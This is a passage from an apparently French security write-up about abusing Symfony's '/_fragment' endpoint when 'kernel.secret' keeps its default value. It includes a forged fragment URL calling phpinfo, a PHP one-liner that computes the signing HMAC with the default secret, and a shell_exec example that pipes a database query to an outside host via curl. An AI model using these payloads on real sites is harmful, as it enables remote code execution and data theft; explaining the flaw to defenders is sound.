change de nom...
Le paramètre "framework.secret" prend toute son importance lorsque l'on utilise du caching via les fragments ESI. Une petite injection sur l'endpoint "/_fragment" peut amener une attaque RCE et ce tout simplement, parce que le paramètre "kernel.secret" n'est pas vraiment "secret" comme il est censé l'être !
Prenant l'exemple du site : site-non-protege.fr où la valeur actuelle du "kernel.secret" est celle de la valeur par défaut fournit lors de l'installation. La première injection permet d'accéder au phpinfo avec le flag -1:
https://www.site-non-protege.fr/_fragment_path=what%3D1%26_controller%3Dphpinfo&_hash=f%2BkpW9l1Gqx%2B9QJPLGnBhQvqMNRLTee2%2F8cVF1OEkDE%3D
et cela peut même aller jusqu'à exécuter du shell code !
Par exemple :
_fragment?_controller=shell_exec&_path=cmd=../bin/console doctrine:query:sql "SELECT ..." | curl -X POST --data-binary @- https://exemple.api.net)
L'idée est de bypasser la 403 retournée par le FragmentListener::onKernelRequest#L69 à travers la validation du "_hash" passé en query param. Il suffit juste de générer le bon _hash via HMAC algo.
Par exemple si le secret égale à ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt, alors nous pouvons reproduire le hash en nous inspirant du traitement fait dans l'UriSigner::computeHash()
https://github.com/symfony/http-kernel/blob/5.x/UriSigner.php#L93 :
php -r "print base64_encode(hash_hmac('sha256', 'https://www.codein.fr/_fragment?_path='.urlencode('what=-1&_controller=phpinfo'), 'ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt', true));"
De cette manière, je m'autorise à injecter dans la requête, mes propres attribues avec les arguments nécessaires dont j'aurais besoin pour exécuter au niveau du HttpKernel::handleRaw#L157
À ma connaissance, le "kernel.secret" ne sert pas seulement à signer les Uris des fragments, il est utilisé également lors de :
En conclusion :